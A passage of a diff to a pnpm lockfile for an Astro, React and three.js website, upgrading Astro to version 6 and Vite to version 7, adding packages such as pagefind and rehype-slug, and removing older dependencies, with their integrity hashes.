sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==} @@ -1849,6 +1704,9 @@ packages: nth-check@2.1.1: resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==} + obug@2.1.1: + resolution: {integrity: sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ==} + ofetch@1.5.1: resolution: {integrity: sha512-2W4oUZlVaqAPAil6FUg/difl6YhqhUR7x2eZY4bQCko22UXg3hptq9KLQdqFClV+Wu85UX7hNtdGTngi/1BxcA==} @@ -1861,21 +1719,28 @@ packages: oniguruma-to-es@4.3.5: resolution: {integrity: sha512-Zjygswjpsewa0NLTsiizVuMQZbp0MDyM6lIt66OxsF21npUDlzpHi1Mgb/qhQdkb+dWFTzJmFbEWdvZgRho8eQ==} - p-limit@6.2.0: - resolution: {integrity: sha512-kuUqqHNUqoIWp/c467RI4X6mmyuojY5jGutNU0wVTmEOOfcuwLqyMVoAi9MKi2Ak+5i9+nhmrK4ufZE8069kHA==} - engines: {node: '>=18'} + p-limit@7.3.0: + resolution: {integrity: sha512-7cIXg/Z0M5WZRblrsOla88S4wAK+zOQQWeBYfV3qJuJXMr+LnbYjaadrFaS0JILfEDPVqHyKnZ1Z/1d6J9VVUw==} + engines: {node: '>=20'} - p-queue@8.1.1: - resolution: {integrity: sha512-aNZ+VfjobsWryoiPnEApGGmf5WmNsCo9xu8dfaYamG5qaLP7ClhLN6NgsFe6SwJ2UbLEBK5dv9x8Mn5+RVhMWQ==} - engines: {node: '>=18'} + p-queue@9.1.1: + resolution: {integrity: sha512-yQS1vV2V7Q14MQrgD8jMNY5owPuGgVHVdSK8NqmKpOVajnjbaeMa6uLOzTALPtvJ7Vo4bw0BGsw7qfUT8z24Ig==} + engines: {node: '>=20'} - p-timeout@6.1.4: - resolution: {integrity: sha512-MyIV3ZA/PmyBN/ud8vV9XzwTrNtR4jFrObymZYnZqMmW0zA8Z17vnT0rBgFE/TlohB+YCHqXMgZzb3Csp49vqg==} - engines: {node: '>=14.16'} + p-timeout@7.0.1: + resolution: {integrity: sha512-AxTM2wDGORHGEkPCt8yqxOTMgpfbEHqF51f/5fJCmwFC3C/zNcGT63SymH2ttOAaiIws2zVg4+izQCjrakcwHg==} + engines: {node: '>=20'} package-manager-detector@1.6.0: resolution: {integrity: sha512-61A5ThoTiDG/C8s8UMZwSorAGwMJ0ERVGj2OjoW5pAalsNOg15+iQiPzrLJ4jhZ1HJzmC2PIHT2oEiH3R5fzNA==} + pagefind@1.5.0: + resolution: {integrity: sha512-7vQ2xh0ZmjPjsuWONR68nqzb+QNfpPh7pdT6n6YDAthWAQiUkSACVegSswY5zPNONGYFWebFVgdnS5/m/Qqn+w==} + hasBin: true + + pako@0.2.9: + resolution: {integrity: sha512-NUcwaKxUxWrZLpDG+z/xZaCgQITkA/Dv4V/T6bw7VON6l1Xz/VnrBqrYjZQ12TamKHzITTfOEIYUj48y2KXImA==} + parse-latin@7.0.0: resolution: {integrity: sha512-mhHgobPPua5kZ98EF4HWiH167JWBfl4pvAIXXdbaVohtK7a6YBOy56kvhCqduqyo/f3yrHFWmqmiMg/BkBkYYQ==} @@ -1918,10 +1783,6 @@ packages: promise-worker-transferable@1.0.4: resolution: {integrity: sha512-bN+0ehEnrXfxV2ZQvU2PetO0n4gqBD4ulq3MI1WOPLgr7/Mg9yRQkX5+0v1vagr74ZTsl7XtzlaYDo2EuCeYJw==} - prompts@2.4.2: - resolution: {integrity: sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==} - engines: {node: '>= 6'} - property-information@7.1.0: resolution: {integrity: sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==} @@ -1933,8 +1794,8 @@ packages: peerDependencies: react: ^19.2.4 - react-refresh@0.17.0: - resolution: {integrity: sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==} + react-refresh@0.18.0: + resolution: {integrity: sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==} engines: {node: '>=0.10.0'} react-use-measure@2.1.7: @@ -1963,12 +1824,18 @@ packages: regex@6.1.0: resolution: {integrity: sha512-6VwtthbV4o/7+OaAF9I5L5V3llLEsoPyq9P1JVXkedTP33c7MfCG0/5NOPcSJn0TzXcG9YUrR0gQSWioew3LDg==} + rehype-autolink-headings@7.1.0: + resolution: {integrity: sha512-rItO/pSdvnvsP4QRB1pmPiNHUskikqtPojZKJPPPAVx9Hj8i8TwMBhofrrAYRhYOOBZH9tgmG5lPqDLuIWPWmw==} + rehype-parse@9.0.1: resolution: {integrity: sha512-ksCzCD0Fgfh7trPDxr2rSylbwq9iYDkSn8TCDmEJ49ljEUBxDVCzCHv7QNzZOfODanX4+bWQ4WZqLCRWYLfhag==} rehype-raw@7.0.0: resolution: {integrity: sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==} + rehype-slug@6.0.0: + resolution: {integrity: sha512-lWyvf/jwu+oS5+hL5eClVd3hNdmwM1kAC0BUvEGD19pajQMIzcNUd/k9GsfQ+FfECvX+JE+e9/btsKH0EjJT6A==} + rehype-stringify@10.0.1: resolution: {integrity: sha512-k9ecfXHmIPuFVI61B9DeLPN0qFHfawM6RsuX48hoqlaKSF61RskNjSm1lI8PhBEM0MRdLxVVm4WmTqJQccH9mA==} @@ -1995,6 +1862,9 @@ packages: resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} engines: {node: '>=0.10.0'} + restructure@3.0.2: + resolution: {integrity: sha512-gSfoiOEA0VPE6Tukkrr7I0RBdE0s7H1eFCDBk05l1KIQT1UIKNc5JZy6jdyW6eYH3aR3g5b3PuL77rq0hvwtAw==} + retext-latin@4.0.0: resolution: {integrity: sha512-hv9woG7Fy0M9IlRQloq/N6atV82NxLGveq+3H2WOi79dtIYWN8OaxogDm77f8YnVXJL2VD3bbqowu5E3EMhBYA==} @@ -2040,9 +1910,6 @@ packages: resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} engines: {node: '>=8'} - shiki@3.23.0: - resolution: {integrity: sha512-55Dj73uq9ZXL5zyeRPzHQsK7Nbyt6Y10k5s7OjuFZGMhpp4r/rsLBH0o/0fstIzX1Lep9VxefWljK/SKCzygIA==} - shiki@4.0.2: resolution: {integrity: sha512-eAVKTMedR5ckPo4xne/PjYQYrU3qx78gtJZ+sHlXEg5IHhhoQhMfZVzetTYuaJS0L2Ef3AcCRzCHV8T0WI6nIQ==} engines: {node: '>=20'} @@ -2078,25 +1945,9 @@ packages: stream-replace-string@2.0.0: resolution: {integrity: sha512-TlnjJ1C0QrmxRNrON00JvaFFlNh5TTG00APw23j74ET7gkQpTASi6/L2fuiav8pzK715HXtUeClpBTw2NPSn6w==} - string-width@4.2.3: - resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} - engines: {node: '>=8'} - - string-width@7.2.0: - resolution: {integrity: sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==} - engines: {node: '>=18'} - stringify-entities@4.0.4: resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==} - strip-ansi@6.0.1: - resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} - engines: {node: '>=8'} - - strip-ansi@7.2.0: - resolution: {integrity: sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==} - engines: {node: '>=12'} - strnum@2.2.2: resolution: {integrity: sha512-DnR90I+jtXNSTXWdwrEy9FakW7UX+qUZg28gj5fk2vxxl7uS/3bpI4fjFYVmdK9etptYBPNkpahuQnEwhwECqA==} @@ -2133,6 +1984,10 @@ packages: tiny-inflate@1.0.3: resolution: {integrity: sha512-pkY1fj1cKHb2seWDy0B16HeWyczlJA9/WW3u3c4z/NiWDsO3DOU5D7nhTLE9CF0yXv/QZFY7sEJmj24dK+Rrqw==} + tinyclip@0.1.12: + resolution: {integrity: sha512-Ae3OVUqifDw0wBriIBS7yVaW44Dp6eSHQcyq4Igc7eN2TJH/2YsicswaW+J/OuMvhpDPOKEgpAZCjkb4hpoyeA==} + engines: {node: ^16.14.0 || >= 17.3.0} + tinyexec@1.0.4: resolution: {integrity: sha512-u9r3uZC0bdpGOXtlxUIdwf9pkmvhqJdrVCH9fapQtgy/OeTTMZ1nqH7agtvEfmGui6e1XxjcdrlxvxJvc3sMqw==} engines: {node: '>=18'} @@ -2176,10 +2031,6 @@ packages: tunnel-rat@0.1.2: resolution: {integrity: sha512-lR5VHmkPhzdhrM092lI2nACsLO4QubF0/yoOhzX7c+wIpbN1GjHNzCc91QlpxBi+cnx8vVJ+Ur6vL5cEoQPFpQ==} - type-fest@4.41.0: - resolution: {integrity: sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==} - engines: {node: '>=16'} - typescript@5.9.3: resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} engines: {node: '>=14.17'} @@ -2197,6 +2048,12 @@ packages: undici-types@7.16.0: resolution: {integrity: sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==} + unicode-properties@1.4.1: + resolution: {integrity: sha512-CLjCCLQ6UuMxWnbIylkisbRj31qxHPAurvena/0iwSVbQ2G1VY5/HjV0IRabOEbDHlzZlRdCrD4NhB0JtU40Pg==} + + unicode-trie@2.0.0: + resolution: {integrity: sha512-x7bc76x0bm4prf1VLg79uhAzKw8DVboClSN5VxJuQ+LKDOVEW9CdH+VY7SP+vX7xCYQqzzgQpFqz15zeLvAtZQ==} + unified@11.0.5: resolution: {integrity: sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==} @@ -2316,19 +2173,19 @@ packages: vfile@6.0.3: resolution: {integrity: sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==} - vite@6.4.1: - resolution: {integrity: sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==} - engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} + vite@7.3.1: + resolution: {integrity: sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA==} + engines: {node: ^20.19.0 || >=22.12.0} hasBin: true peerDependencies: - '@types/node': ^18.0.0 || ^20.0.0 || >=22.0.0 + '@types/node': ^20.19.0 || >=22.12.0 jiti: '>=1.21.0' - less: '*' + less: ^4.0.0 lightningcss: ^1.21.0 - sass: '*' - sass-embedded: '*' - stylus: '*' - sugarss: '*' + sass: ^1.70.0 + sass-embedded: ^1.70.0 + stylus: '>=0.54.8' + sugarss: ^5.0.0 terser: ^5.16.0 tsx: ^4.8.1 yaml: ^2.4.2 @@ -2382,50 +2239,20 @@ packages: engines: {node: '>= 8'} hasBin: true - widest-line@5.0.0: - resolution: {integrity: sha512-c9bZp7b5YtRj2wOe6dlj32MK+Bx/M/d+9VB2SHM1OtsUHR0aV0tdP6DWh/iMt0kWi1t5g1Iudu6hQRNd1A4PVA==} - engines: {node: '>=18'} - - wrap-ansi@9.0.2: - resolution: {integrity: sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==} - engines: {node: '>=18'} - xxhash-wasm@1.1.0: resolution: {integrity: sha512-147y/6YNh+tlp6nd/2pWq38i9h6mz/EuQ6njIrmW8D1BS5nCqs0P6DG+m6zTGnNz5I+uhZ0SHxBs9BsPrwcKDA==} yallist@3.1.1: resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} - yargs-parser@21.1.1: - resolution: {integrity: sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==} - engines: {node: '>=12'} + yargs-parser@22.0.0: + resolution: {integrity: sha512-rwu/ClNdSMpkSrUb+d6BRsSkLUq1fmfsY6TOpYzTwvwkg1/NRG85KBy3kq++A8LKQwX6lsu+aWad+2khvuXrqw==} + engines: {node: ^20.19.0 || ^22.12.0 || >=23} yocto-queue@1.2.2: resolution: {integrity: sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ==} engines: {node: '>=12.20'} - yocto-spinner@0.2.3: - resolution: {integrity: sha512-sqBChb33loEnkoXte1bLg45bEBsOP9N1kzQh5JZNKj/0rik4zAPTNSAVPj3uQAdc6slYJ0Ksc403G2XgxsJQFQ==} - engines: {node: '>=18.19'} - - yoctocolors@2.1.2: - resolution: {integrity: sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug==} - engines: {node: '>=18'} - - zod-to-json-schema@3.25.2: - resolution: {integrity: sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==} - peerDependencies: - zod: ^3.25.28 || ^4 - - zod-to-ts@1.2.0: - resolution: {integrity: sha512-x30XE43V+InwGpvTySRNz9kB7qFU8DlyEy7BsSTCHPH1R0QasMmHWZDCzYm6bVXtj/9NNJAZF3jW8rzFvH5OFA==} - peerDependencies: - typescript: ^4.9.4 || ^5.0.2 - zod: ^3 - - zod@3.25.76: - resolution: {integrity: sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==} - zod@4.3.6: resolution: {integrity: sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==} @@ -2467,18 +2294,19 @@ packages: snapshots: - '@astrojs/compiler@2.13.1': {} + '@astrojs/compiler@3.0.1': {} - '@astrojs/internal-helpers@0.7.6': {} + '@astrojs/internal-helpers@0.8.0': + dependencies: + picomatch: 4.0.4 - '@astrojs/markdown-remark@6.3.11': + '@astrojs/markdown-remark@7.1.0': dependencies: - '@astrojs/internal-helpers': 0.7.6 - '@astrojs/prism': 3.3.0 + '@astrojs/internal-helpers': 0.8.0 + '@astrojs/prism': 4.0.1 github-slugger: 2.0.0 hast-util-from-html: 2.0.3 hast-util-to-text: 4.0.2 - import-meta-resolve: 4.2.0 js-yaml: 4.1.1 mdast-util-definitions: 6.0.0 rehype-raw: 7.0.0 @@ -2487,7 +2315,8 @@ snapshots: remark-parse: 11.0.0 remark-rehype: 11.1.2 remark-smartypants: 3.0.2 - shiki: 3.23.0 + retext-smartypants: 6.2.0 + shiki: 4.0.2 smol-toml: 1.6.1 unified: 11.0.5 unist-util-remove-position: 5.0.0 @@ -2497,19 +2326,21 @@ snapshots: transitivePeerDependencies: - supports-color - '@astrojs/prism@3.3.0': + '@astrojs/prism@4.0.1': dependencies: prismjs: 1.30.0 - '@astrojs/react@4.4.2(@types/node@24.12.2)(@types/react-dom@19.2.3(@types/react@19.2.14))(@types/react@19.2.14)(jiti@2.6.1)(lightningcss@1.32.0)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + '@astrojs/react@5.0.2(@types/node@24.12.2)(@types/react-dom@19.2.3(@types/react@19.2.14))(@types/react@19.2.14)(jiti@2.6.1)(lightningcss@1.32.0)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': dependencies: + '@astrojs/internal-helpers': 0.8.0 '@types/react': 19.2.14 '@types/react-dom': 19.2.3(@types/react@19.2.14) - '@vitejs/plugin-react': 4.7.0(vite@6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)) + '@vitejs/plugin-react': 5.2.0(vite@7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)) + devalue: 5.6.4 react: 19.2.4 react-dom: 19.2.4(react@19.2.4) ultrahtml: 1.6.0 - vite: 6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0) + vite: 7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0) transitivePeerDependencies: - '@types/node' - jiti @@ -2666,6 +2497,18 @@ snapshots: dependencies: fontkitten: 1.0.3 + '@clack/core@1.2.0': + dependencies: + fast-wrap-ansi: 0.1.6 + sisteransi: 1.0.5 + + '@clack/prompts@1.2.0': + dependencies: + '@clack/core': 1.2.0 + fast-string-width: 1.1.0 + fast-wrap-ansi: 0.1.6 + sisteransi: 1.0.5 + '@dimforge/rapier3d-compat@0.12.0': {} '@emnapi/runtime@1.9.2': @@ -2673,162 +2516,88 @@ snapshots: tslib: 2.8.1 optional: true - '@esbuild/aix-ppc64@0.25.12': - optional: true - '@esbuild/aix-ppc64@0.27.7': optional: true - '@esbuild/android-arm64@0.25.12': - optional: true - '@esbuild/android-arm64@0.27.7': optional: true - '@esbuild/android-arm@0.25.12': - optional: true - '@esbuild/android-arm@0.27.7': optional: true - '@esbuild/android-x64@0.25.12': - optional: true - '@esbuild/android-x64@0.27.7': optional: true - '@esbuild/darwin-arm64@0.25.12': - optional: true - '@esbuild/darwin-arm64@0.27.7': optional: true - '@esbuild/darwin-x64@0.25.12': - optional: true - '@esbuild/darwin-x64@0.27.7': optional: true - '@esbuild/freebsd-arm64@0.25.12': - optional: true - '@esbuild/freebsd-arm64@0.27.7': optional: true - '@esbuild/freebsd-x64@0.25.12': - optional: true - '@esbuild/freebsd-x64@0.27.7': optional: true - '@esbuild/linux-arm64@0.25.12': - optional: true - '@esbuild/linux-arm64@0.27.7': optional: true - '@esbuild/linux-arm@0.25.12': - optional: true - '@esbuild/linux-arm@0.27.7': optional: true - '@esbuild/linux-ia32@0.25.12': - optional: true - '@esbuild/linux-ia32@0.27.7': optional: true - '@esbuild/linux-loong64@0.25.12': - optional: true - '@esbuild/linux-loong64@0.27.7': optional: true - '@esbuild/linux-mips64el@0.25.12': - optional: true - '@esbuild/linux-mips64el@0.27.7': optional: true - '@esbuild/linux-ppc64@0.25.12': - optional: true - '@esbuild/linux-ppc64@0.27.7': optional: true - '@esbuild/linux-riscv64@0.25.12': - optional: true - '@esbuild/linux-riscv64@0.27.7': optional: true - '@esbuild/linux-s390x@0.25.12': - optional: true - '@esbuild/linux-s390x@0.27.7': optional: true - '@esbuild/linux-x64@0.25.12': - optional: true - '@esbuild/linux-x64@0.27.7': optional: true - '@esbuild/netbsd-arm64@0.25.12': - optional: true - '@esbuild/netbsd-arm64@0.27.7': optional: true - '@esbuild/netbsd-x64@0.25.12': - optional: true - '@esbuild/netbsd-x64@0.27.7': optional: true - '@esbuild/openbsd-arm64@0.25.12': - optional: true - '@esbuild/openbsd-arm64@0.27.7': optional: true - '@esbuild/openbsd-x64@0.25.12': - optional: true - '@esbuild/openbsd-x64@0.27.7': optional: true - '@esbuild/openharmony-arm64@0.25.12': - optional: true - '@esbuild/openharmony-arm64@0.27.7': optional: true - '@esbuild/sunos-x64@0.25.12': - optional: true - '@esbuild/sunos-x64@0.27.7': optional: true - '@esbuild/win32-arm64@0.25.12': - optional: true - '@esbuild/win32-arm64@0.27.7': optional: true - '@esbuild/win32-ia32@0.25.12': - optional: true - '@esbuild/win32-ia32@0.27.7': optional: true - '@esbuild/win32-x64@0.25.12': - optional: true - '@esbuild/win32-x64@0.27.7': optional: true + '@fontsource/geist-mono@5.3.0': {} + + '@fontsource/geist@5.3.0': {} + '@img/colour@1.1.0': {} '@img/sharp-darwin-arm64@0.34.5': @@ -2953,6 +2722,27 @@ snapshots: '@oslojs/encoding@1.1.0': {} + '@pagefind/darwin-arm64@1.5.0': + optional: true + + '@pagefind/darwin-x64@1.5.0': + optional: true + + '@pagefind/freebsd-x64@1.5.0': + optional: true + + '@pagefind/linux-arm64@1.5.0': + optional: true + + '@pagefind/linux-x64@1.5.0': + optional: true + + '@pagefind/windows-arm64@1.5.0': + optional: true + + '@pagefind/windows-x64@1.5.0': + optional: true + '@react-three/drei@10.7.7(@react-three/fiber@9.5.0(@types/react@19.2.14)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)(three@0.183.2))(@types/react@19.2.14)(@types/three@0.183.1)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)(three@0.183.2)': dependencies: '@babel/runtime': 7.29.2 @@ -3006,7 +2796,7 @@ snapshots: - '@types/react' - immer - '@rolldown/pluginutils@1.0.0-beta.27': {} + '@rolldown/pluginutils@1.0.0-rc.3': {} '@rollup/pluginutils@5.3.0(rollup@4.60.1)': dependencies: @@ -3091,13 +2881,6 @@ snapshots: '@rollup/rollup-win32-x64-msvc@4.60.1': optional: true - '@shikijs/core@3.23.0': - dependencies: - '@shikijs/types': 3.23.0 - '@shikijs/vscode-textmate': 10.0.2 - '@types/hast': 3.0.4 - hast-util-to-html: 9.0.5 - '@shikijs/core@4.0.2': dependencies: '@shikijs/primitive': 4.0.2 @@ -3106,32 +2889,17 @@ snapshots: '@types/hast': 3.0.4 hast-util-to-html: 9.0.5 - '@shikijs/engine-javascript@3.23.0': - dependencies: - '@shikijs/types': 3.23.0 - '@shikijs/vscode-textmate': 10.0.2 - oniguruma-to-es: 4.3.5 - '@shikijs/engine-javascript@4.0.2': dependencies: '@shikijs/types': 4.0.2 '@shikijs/vscode-textmate': 10.0.2 oniguruma-to-es: 4.3.5 - '@shikijs/engine-oniguruma@3.23.0': - dependencies: - '@shikijs/types': 3.23.0 - '@shikijs/vscode-textmate': 10.0.2 - '@shikijs/engine-oniguruma@4.0.2': dependencies: '@shikijs/types': 4.0.2 '@shikijs/vscode-textmate': 10.0.2 - '@shikijs/langs@3.23.0': - dependencies: - '@shikijs/types': 3.23.0 - '@shikijs/langs@4.0.2': dependencies: '@shikijs/types': 4.0.2 @@ -3142,19 +2910,10 @@ snapshots: '@shikijs/vscode-textmate': 10.0.2 '@types/hast': 3.0.4 - '@shikijs/themes@3.23.0': - dependencies: - '@shikijs/types': 3.23.0 - '@shikijs/themes@4.0.2': dependencies: '@shikijs/types': 4.0.2 - '@shikijs/types@3.23.0': - dependencies: - '@shikijs/vscode-textmate': 10.0.2 - '@types/hast': 3.0.4 - '@shikijs/types@4.0.2': dependencies: '@shikijs/vscode-textmate': 10.0.2 @@ -3162,6 +2921,10 @@ snapshots: '@shikijs/vscode-textmate@10.0.2': {} + '@swc/helpers@0.5.23': + dependencies: + tslib: 2.8.1 + '@tailwindcss/node@4.2.2': dependencies: '@jridgewell/remapping': 2.3.5 @@ -3223,12 +2986,12 @@ snapshots: '@tailwindcss/oxide-win32-arm64-msvc': 4.2.2 '@tailwindcss/oxide-win32-x64-msvc': 4.2.2 - '@tailwindcss/vite@4.2.2(vite@6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0))': + '@tailwindcss/vite@4.2.2(vite@7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0))': dependencies: '@tailwindcss/node': 4.2.2 '@tailwindcss/oxide': 4.2.2 tailwindcss: 4.2.2 - vite: 6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0) + vite: 7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0) '@tweenjs/tween.js@23.1.3': {} @@ -3261,6 +3024,10 @@ snapshots: '@types/estree@1.0.8': {} + '@types/fontkit@2.0.9': + dependencies: + '@types/node': 24.12.2 + '@types/hast@3.0.4': dependencies: '@types/unist': 3.0.3 @@ -3322,32 +3089,20 @@ snapshots: '@use-gesture/core': 10.3.1 react: 19.2.4 - '@vitejs/plugin-react@4.7.0(vite@6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0))': + '@vitejs/plugin-react@5.2.0(vite@7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0))': dependencies: '@babel/core': 7.29.0 '@babel/plugin-transform-react-jsx-self': 7.27.1(@babel/core@7.29.0) '@babel/plugin-transform-react-jsx-source': 7.27.1(@babel/core@7.29.0) - '@rolldown/pluginutils': 1.0.0-beta.27 + '@rolldown/pluginutils': 1.0.0-rc.3 '@types/babel__core': 7.20.5 - react-refresh: 0.17.0 - vite: 6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0) + react-refresh: 0.18.0 + vite: 7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0) transitivePeerDependencies: - supports-color '@webgpu/types@0.1.69': {} - acorn@8.16.0: {} - - ansi-align@3.0.1: - dependencies: - string-width: 4.2.3 - - ansi-regex@5.0.1: {} - - ansi-regex@6.2.2: {} - - ansi-styles@6.2.3: {} - anymatch@3.1.3: dependencies: normalize-path: 3.0.0 @@ -3361,55 +3116,50 @@ snapshots: array-iterate@2.0.1: {} - astro@5.18.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)(rollup@4.60.1)(typescript@5.9.3): + astro@6.1.3(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)(rollup@4.60.1)(typescript@5.9.3): dependencies: - '@astrojs/compiler': 2.13.1 - '@astrojs/internal-helpers': 0.7.6 - '@astrojs/markdown-remark': 6.3.11 + '@astrojs/compiler': 3.0.1 + '@astrojs/internal-helpers': 0.8.0 + '@astrojs/markdown-remark': 7.1.0 '@astrojs/telemetry': 3.3.0 '@capsizecss/unpack': 4.0.0 + '@clack/prompts': 1.2.0 '@oslojs/encoding': 1.1.0 '@rollup/pluginutils': 5.3.0(rollup@4.60.1) - acorn: 8.16.0 aria-query: 5.3.2 axobject-query: 4.1.0 - boxen: 8.0.1 ci-info: 4.4.0 clsx: 2.1.1 - common-ancestor-path: 1.0.1 + common-ancestor-path: 2.0.0 cookie: 1.1.1 - cssesc: 3.0.0 - debug: 4.4.3 - deterministic-object-hash: 2.0.2 devalue: 5.6.4 diff: 8.0.4 dlv: 1.1.3 dset: 3.1.4 - es-module-lexer: 1.7.0 + es-module-lexer: 2.0.0 esbuild: 0.27.7 - estree-walker: 3.0.3 flattie: 1.1.1 fontace: 0.4.1 github-slugger: 2.0.0 html-escaper: 3.0.3 http-cache-semantics: 4.2.0 - import-meta-resolve: 4.2.0 js-yaml: 4.1.1 magic-string: 0.30.21 magicast: 0.5.2 mrmime: 2.0.1 neotraverse: 0.6.18 - p-limit: 6.2.0 - p-queue: 8.1.1 + obug: 2.1.1 + p-limit: 7.3.0 + p-queue: 9.1.1 package-manager-detector: 1.6.0 piccolore: 0.1.3 picomatch: 4.0.4 - prompts: 2.4.2 rehype: 13.0.2 semver: 7.7.4 - shiki: 3.23.0 + shiki: 4.0.2 smol-toml: 1.6.1 svgo: 4.0.1 + tinyclip: 0.1.12 tinyexec: 1.0.4 tinyglobby: 0.2.15 tsconfck: 3.1.6(typescript@5.9.3) @@ -3418,14 +3168,11 @@ snapshots: unist-util-visit: 5.1.0 unstorage: 1.17.5 vfile: 6.0.3 - vite: 6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0) - vitefu: 1.1.3(vite@6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)) + vite: 7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0) + vitefu: 